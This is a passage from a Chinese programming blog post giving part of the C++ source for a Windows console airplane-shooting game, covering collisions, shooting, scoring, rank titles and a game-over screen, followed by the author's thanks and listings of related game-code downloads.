     
    void Game::judgePlane()
    {
    	for(int i = 0; i < 8; i++)
    		for(int j=0; j<9; j++)
    			if(judgeCoordInFrame(enemy[i], position[j]))
    			{
    				SetPos(62, 1);
    				cout<<"坠毁";
    				drawFrame(enemy[i], '+', '+');
    				Sleep(1000);
    				GameOver();
    				break;
    			}
    }
     
    void Game::drawThisBulletToNull( COORD c)
    {
    	SetPos(c);
    	cout<<" ";
    }
     
    void Game::drawThisEnemyToNull( Frame f )
    {
    	drawFrame(f, ' ', ' ');
    }
     
    void Game::judgeEnemy()
    {
    	for(int i = 0; i < 8; i++)
    		for(int j = 0; j < 10; j++)
    			if( judgeCoordInFrame(enemy[i], bullet[j]) )
    			{
    				score += 5;
    				drawThisEnemyToNull( enemy[i] );
    				COORD a={1, 1};
    				COORD b={45, 3};
    				enemy[i].position[0] = random(a, b);
    				enemy[i].position[1].X = enemy[i].position[0].X + 3;
    				enemy[i].position[1].Y = enemy[i].position[0].Y + 2;					
    				drawThisBulletToNull( bullet[j] );
    				bullet[j].Y = 30;
    			}
    }
     
    void Game::Shoot()
    {
    	for(int i=0; i<10; i++)
    		if(bullet[i].Y == 30)
    		{
    			bullet[i].X = position[5].X;
    			bullet[i].Y = position[5].Y-1;
    			break;
    		}
    }
     
    void Game::printScore()
    {
    	if(score == 120 && flag_rank == 0)
    	{
    		rank -= 3;
    		flag_rank = 1;
    	}
     
    	else if( score == 360 && flag_rank == 1)
    	{
    		rank -= 5;
    		flag_rank = 2;
    	}
    	else if( score == 480 && flag_rank == 2)
    	{
    		rank -= 5;
    		flag_rank = 3;
    	}
    	int x=rank/5;
    	SetPos(60, 6);
    	cout<<score;
     
    	if( rank!=rankf )
    	{
    		SetPos(60, 7);
    		if( x == 5)
    			title="初级飞行员";
    		else if( x == 4)
    			title="中级飞行员";
    		else if( x == 3)
    			title="高级飞行员";
    		else if( x == 2 )
    			title="王牌飞行员";
    		cout<<title;
    	}
    	rankf = rank;
    }
     
    void Game::Playing()
    {
    	//HANDLE MFUN;
    	//MFUN= CreateThread(NULL, 0, MusicFun, NULL, 0, NULL); 
     
    	drawEnemy();
    	drawPlane();
     
    	int flag_bullet = 0;
    	int flag_enemy = 0;
     
    	while(1)
    	{
    		Sleep(8);
    		if(_kbhit())
    		{
    			char x = _getch();
    			if ('a' == x || 's' == x || 'd' == x || 'w' == x)
    			{
    				drawPlaneToNull();
    				planeMove(x);
    				drawPlane();
    				judgePlane();
    			}			
    			else if ('p' == x)
    				Pause();
    			else if( 'k' == x)
    				Shoot();
    			else if( 'e' == x)
    			{
    				//CloseHandle(MFUN);
    				GameOver();
    				break;
    			}
    				
    		}
    		/* 处理子弹 */
    		if( 0 == flag_bullet )
    		{
    			bulletMove();
    			drawBulletToNull();
    			drawBullet();
    			judgeEnemy();
    		}			
    		flag_bullet++;
    		if( 5 == flag_bullet )
    			flag_bullet = 0;
     
    		/* 处理敌人 */
    		if( 0 == flag_enemy )
    		{
    			drawEnemyToNull();
    			enemyMove();			
    			drawEnemy();
    			judgePlane();
    		}
    		flag_enemy++;
    		if( flag_enemy >= rank )
    			flag_enemy = 0;
     
    		/* 输出得分 */
    		printScore();
    	}
    }
     
    void Game::GameOver()
    {
    	system("cls");				
    	COORD p1={28,9};
    	COORD p2={53,15};
    	drawFrame(p1, p2, '=', '|');
    	SetPos(36,12);
    	string str="Game Over!";
    	for(int i=0; i<str.size(); i++)
    	{
    		Sleep(80);
    		cout<<str[i];
    	}
    	Sleep(1000);
    	system("cls");
    	drawFrame(p1, p2, '=', '|');
    	SetPos(31, 11);
    	cout<<"击落敌机:"<<score/5<<" 架";
    	SetPos(31, 12);
    	cout<<"得  分:"<<score;
    	SetPos(31, 13);
    	cout<<"获得称号:"<<title;
    	SetPos(30, 16);
    	Sleep(1000);
    	cout<<"继续? 是(y)| 否(n)制作:<bits/stdc++.h>";
    as:
    	char x=_getch();
    	if (x == 'n')
    		exit(0);
    	else if (x == 'y')
    	{
    		system("cls");
    		Game game;
    		int a = drawMenu();
    		if(a == 2)
    			game.rank = 20;
    		system("cls");
    		drawPlaying();
    		game.Playing();
    	}
    	else goto as;
    }
     
    /*================== the main function ==================*/
    int main()
    {
    	//游戏准备
    	srand((int)time(0));	//随机种子
    	HideCursor();	//隐藏光标
    	
    	Game game;
    	int a = drawMenu();
    	if(a == 2)
    		game.rank = 20;
    	system("cls");
    	drawPlaying();
    	game.Playing();
    }
    

    >求关注,求点赞,求评论<
    Thanks♪(・ω・)ノ
    这其实是我第四次发帖子哟!

    展开全文
  • 本书是一本独具匠心的计算机三维编程教程,展现了韩国优秀的游戏编程技术的内涵。书中涉及到比较深入的数学、物理和计算机编程的基本概念,作者简练地应用了这些知识,但并无枯燥无味地说教,而是根据自己丰富的教学...
  • C++版猜数字小游戏

    2013-03-13 12:59:38
    C++写的猜数字小游戏,内附游戏说明以及代码详细解释。
  • C++游戏编程源程序

    2018-03-07 16:22:54
    C++语言编写的小游戏代码,一共10个,VC环境下看啊啊
  • 一个c++小游戏

    2019-03-07 20:35:45
    一个简单的小游戏,希望大家喜欢(刷字节:
  • c++小游戏代码

    万次阅读 2015-07-09 13:50:35
    /*===========================Program Description==========================*/ .../*程序目的:打砖块游戏演示 */ /*written by :董大钿 */ /*=========================================================
  • C++win32窗口应用程序下的游戏工程,里面有很多注释,一般新手应该能学到些东西,注意不是MFC写的,学习游戏编程请尝试脱离MFC,这对你会有不少的好处~
  • C/C++小游戏---贪吃蛇

    万次阅读 多人点赞 2018-11-21 01:37:02
    有两种情况,蛇没有吃食物和吃了食物,此段代码两种情况都能解决(让蛇从第二个节点开始等于前一个节点,让最后一个节点变为0) 完整代码如下 #include #include #include #include #include using namespace ...
  • DevC++贪吃蛇小游戏

    2020-11-01 20:06:35
    自己用DevC++编写的C++控制台贪吃蛇小游戏,带有难度选择,可以选择4个难度,还有计时、加速、暂停功能。需要的可以参考。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 60,106
精华内容 24,042
关键字:

c++小游戏编程代码

c++ 订阅